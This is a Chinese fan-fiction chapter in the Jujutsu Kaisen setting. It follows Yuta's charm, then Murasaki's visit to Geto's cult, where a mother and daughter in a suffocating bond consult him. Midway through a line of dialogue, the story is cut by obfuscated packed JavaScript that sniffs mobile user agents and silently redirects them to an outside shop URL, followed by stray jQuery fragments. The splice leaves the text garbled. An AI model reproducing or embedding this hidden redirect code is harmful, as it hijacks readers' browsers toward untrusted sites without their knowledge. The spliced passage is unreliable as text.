-
“话说,你最近怎么突然在包上挂个御守?”
体术加练结束后,真希收拾东西准备去食堂吃饭,看见一旁乙骨忧太的包上挂着一个显眼的蓝色御守,没多想问了一嘴。
“啊……这、这个其实是……”他还没想好借口。
看清楚上面的字样和星梅钵花纹后,真希更是挑了下眉:“而且还是北野天满宫的学业御守……你是在搞笑吗?”
“这个……很有名吗?”他怯生生地问。
“拜托,那可是供奉着菅原道真的神社。每年考学季,基本上望子成龙的家长人手一个吧。”
作为京都人,她对这东西还算眼熟。
“你挂着这玩意儿做什么?感觉很不搭诶。”真希的脸上露出了嫌弃的表情。
“嗯……其实是、是以前的同学送的,她不知道我在高专……”
他吞吞吐吐地憋出一句不太擅长的谎言。
真希奇怪地盯着他看了一会儿,转头拎包离去:“算了……你喜欢就好。”
目送着真希离去的背影,乙骨忧太立刻红着脸把御守塞进了包里。
……真的很不搭吗?他感到耳根有些发烫。
——“我妈妈从北野天满宫给我求的学业御守,据说是很灵的,希望能帮上忙。”
阳光下,少女转过去的侧脸看起来有些别扭,可无论是眼睛、嘴唇还是耳垂上的蝴蝶耳钉,都是亮晶晶的。
秋川同学……在来高专前,究竟是一个什么样的人呢?
还有她说的“我妈妈可能要杀了我”,到底是什么意思?一位会专门去神社求神明保佑女儿前程的母亲,怎么会是一个坏妈妈呢?
而且……而且她还很关心女儿在学校的人际交往情况呢……虽然秋川同学好像不喜欢这样。
可是……
乙骨忧太把背包抱在怀中,不无哀怨地想:
他的母亲,连让他生活在那个家庭里都不允许。
今天是周末,秋川同学回家去了。是因为住校久了,她的妈妈很想她吗?
被家人思念……究竟是一种什么样的感觉呢?
怎么想都觉得好幸福……
真想见见秋川同学的母亲啊……她们会长着相似的脸,有着相似的声音吗?
好想知道秋川同学是在一个什么样的家里长大的啊……那个家里也会和她一样,干净,优雅,还弥漫着淡淡的香气吗?
乙骨忧太颤抖着打开了手机。
-
“秋川小姐,请您在这边稍等。”
脸上挂着职业微笑的金发女性将她领到一间古色古香的接待室内。
“夏油大人正在接待客人,马上就来。”
紫四处打量着这座房间,闻到淡淡的焚香气味。
从踏进这座建筑开始,她就意识到自己走进了某个结界中。
独自前来调查这种事,说不定确实有点鲁莽。
走廊上传来渐次的足音,听声响似乎不止一人。
她下意识攥紧了衣摆。
“呀,村崎小姐,没想到这么快就能再见面。”
纸门拉开,一副笑脸的长发男人施施然走了进来,飘扬的衣袂后跟着两个看起来有点眼熟的女性。
其中年纪较轻的那个,在看到她的脸时不由自主地瑟缩了一下。
夏油便十分贴心地为她介绍:“说来也巧呢,今天来咨询的,恰好是那天和我们去过同一间咖啡厅的客人。”
紫愣了一下,听他这么一说,确实对那头天然卷有点印象。
当然更有印象的地方,是那只显眼的婴儿咒灵。
“教祖大人,贵教这么不注重隐私保护吗?”那位母亲脸色一横,下意识推了推眼镜,直言道,“既然是个人咨询,无关人员是不是应该回避一下。”
“您多虑了,冈田夫人。”夏油微微一笑,“村崎小姐是我们未来的伙伴,今天是来参观的。”
……究竟什么时候答应过你了。
紫心里略感不爽,脸上又不好拂了他面子,便面无表情地打断他:“这位小姐遇到了什么困难吗?”
女孩还来不及回答,中年女子就抢先答道:“这孩子自从休学后就一直关在家里,不肯上学,不肯打工,连见到外人的脸都要发抖!我看她要么是生了什么怪病,要么是被某些不干净的东西缠上了。”
紫感到眼角忽地跳了一下。
夏油则熟练地对着女儿循循善诱:“冈田小姐,你最近有遇到什么怪事吗?比如说听到奇怪的声音,看到模糊的影子之类的?”
性格内向的少女显然不太适应陌生的场合与外人,用宛如野生动物般的表情惊恐地看着他们。
“冈田小姐,”紫突然出声,“你并没有做错什么,这里也没有人有资格惩罚你。因为人为划定的正常与不正常而感到羞耻,是一件没有意义的事情。”
“告诉我,你讨厌眼下的状态吗?只需要回答‘是’或‘否’。”
话刚出口,她就意识到自己开始变得不对劲了。
现在这个场合,她有必要主动说这么多话吗?
纠结的间隙,她的余光察觉到夏油投来意味深长的一瞥。
“……我,每天都在思考一个问题。”
从走进房间起就始终一言不发的女孩,沉吟许久后开口。
“假如我从一开始就没有出生的话,会不会对所有人——尤其是对妈妈——来说,是一个更好的选择呢?”
紫无端呼吸一滞。
话匣子一打开,她就开始滔滔不绝:
“身为知名教师的女儿居然是个NEET什么的,听起来很可笑吧?有时候想起这件事都会感觉有点恍惚:咦?这居然是我吗?我到底是怎么变成这样的啊?明明从小到大,一直立志于要成为妈妈的骄傲,被那种信念指引着大步往前走。可是就好像在梦中走楼梯一样,突然——就踩空了,掉进了一个完全不熟悉的地方,大家都说着听不懂的话。搞不懂啊,根本理解不了,无论是天体运行的规律还是人情往来的道理。”
“我是个软弱的人,所以只想着逃避;但是又因为不够软弱——或者过于软弱了?谁知道呢,总之没有办法下定决心真的去死。”
说到这里,她居然莫名地兴奋起来。
“你知道吗?人体是一种很高效节能的系统。当我发现人一天只要吃三块压缩饼干就不至于饿死的时候,我一下子陷入了迷茫:既然活着的门槛如此之低,这个世界上的绝大多数人到底在为了什么而努力呢?那些该死的家伙又是为了多么无聊的东西,非要拉着其他人一同痛苦不可呢?”
她的神色忽而又从狂热转为悲凉:
“我终日恨着这些可恨的人,尤其恨教给我最多痛苦的母亲。现在我渐渐觉得,如果我的存在能够成为妈妈培养方案的一个活的失败样本,好像也不失为一种成功的复仇。”
夏油听完,面不改色地看向冈田夫人,笑着问:“对此,您有什么看法呢?”
与女儿的莫名兴奋形成对比,她的母亲从始至终都十分冷静。
“被优绩主义宠坏了的孩子,在长大后一旦发现没有人愿意继续事事优待他们,就是会产生落差感。”
她摇了摇头,冷淡的神色中泄露出一丝鄙夷:
“他们总是把父辈们苦心经营的结果看得太过理所当然,但其实从来没有人应许过他们百分百回报率的未来。”
“摔下来,爬起来,脚踏实地地继续往前走。每个人都是这么过来的,真不知道为什么到了他们这代人就好像成了什么刻骨铭心的伤痕。”
完全牛头不对马嘴……
紫揉了揉紧锁的眉心。
“既然如此……那冈田小姐搬出去住不就好了?”她提议道,“租最便宜的房子,消费维持生命体征的食物,靠打零工也可以一个人活下来吧?”
未曾想,这一句话竟然引爆了两个人的争论。
“根本不可能的!我妈妈她、她完全是个怪物!从小到大,无论是穿衣服的颜色还是男朋友的人选,统统都要按照她的意思来!她根本不可能允许我独自生活!”
“绝无可能!这家伙完全是个生活残废,连淘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620899|206092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
米洗菜之类的小事都做不好。要不是有我管着,她根本活不到今天!”
一时间剑拔弩张,话语撞在一起简直要作金石之声。
而紫也立刻注意到,那只穿着纸尿布的婴儿咒灵似乎膨胀了些许,好似泡水后肿大的浮尸。它一边拉扯着女儿的头发,一边发出骇人的笑声。
一根诡异的脐带系成的绳索将二人的脖颈相连,如同慢性的绞刑。
她忽然明白了其中的奥秘,感到一阵震悚:这两个人,从一开始就没想分开过。
就在她准备张口说些什么时,夏油对她做了个噤声的暗示,挂上和善的笑容出来打圆场:“二位,稍安勿躁。你们的困扰我已经明白,现在我会帮忙解决的。”
随即,他抬手发力,那只婴儿咒灵就像是被针扎破的气球一样,迅速蔫了下来。
剩余的碎片如风卷残云般被吸入夏油的掌心,凝成一个漆黑的球体。
-
“真的非常感谢,等有空我会郑重登门携礼道谢的。”
母亲按着女儿的头,深深鞠了一躬。
直到她们消失在走廊尽头,紫才忍不住说出那句压抑已久的话语:“她们的问题是无法通过一次祓除解决的。”
“嗯。”
像是预料到了一般,夏油淡淡地肯定了她的想法。
尽管那只婴儿咒灵消失了,但是连接母女的脐带,依然悬浮在二人脖颈间。
“非术师无意识将负面情绪外泄,汇聚出的咒灵反过来折磨生产它的人。而他们既看不见,也祓除不了,只能日复一日被自己制造的怪物消耗,就跟抓着自己的头发,却不明所以放声大哭的婴儿一样。”
他转向紫,瞳色晦暗不明,语气平淡如授课。
“而能够祓除诅咒的咒术师,与这群巨婴有着本质的不同。我们既然承担了更多的责任,也就理应享有与之匹配的地位。现在的世界之所以糟糕,恰恰是因为这种秩序被颠倒了。”
讨厌的既视感。
自诩至高的裁决者,对世人降下不容辩驳的审判。
“所以,你觉得婴儿和成年人的标准应该由谁来划定呢?”
她抬起眼,直视夏油那张泰然自若的脸。
“以及你又是如何断定,婴儿不会有长大的一天,而成年人不会有退行的时刻呢?”
狭长的眼睛注视了她许久,好像在检验她的认真程度。
末了,他笑了笑,不置可否。
“嗯,当然,你也可以保留你的见解。”
啊。
紫突然意识到了一件事。
这个人跟妈妈是同类人。
沉默片刻后,她的语调恢复了最初的冷静和礼貌:“夏油先生,我今天来,是想打听一个人的消息。”
“一位名叫榊由香的女士,于去年六月去世。我了解到,她生前曾接触过贵教。”
-
谈话间,有下属进来,伏在夏油耳边低语了几句。
“怎么了吗?”她抬头。
他笑着摇了摇头:“没什么,不过似乎有新客到访。”
“那我就不打扰了。”
紫起身整理衣摆,准备离去。
夏油也站起来,表示要送她到门口。
穿过庭院的这段路程显得格外漫长,仿佛要将每一片叶子都数尽。
“就到这里吧,夏油先生,麻烦您了。”
她站在门口,回过头说道。
“不麻烦。”
穿着袈裟的男人懒洋洋地倚在石柱上,冲她挥了挥手,眉眼弯弯,那模样居然真的有几分佛相。
“虽然村崎小姐可能不这么想,但我认为,我们说不定会很合得来哦。”
男人留下的最后一句话意味深长:
“我很期待和你的下次见面,村崎小姐。”
……希望这是最后一次见面。
紫无奈地叹了口气,果断转身往外走,却在回头的瞬间猛然僵住,被刺目的阳光照了个措手不及。
——身穿白衣的黑发少年,正捏着手机站在那里,不知等了多久。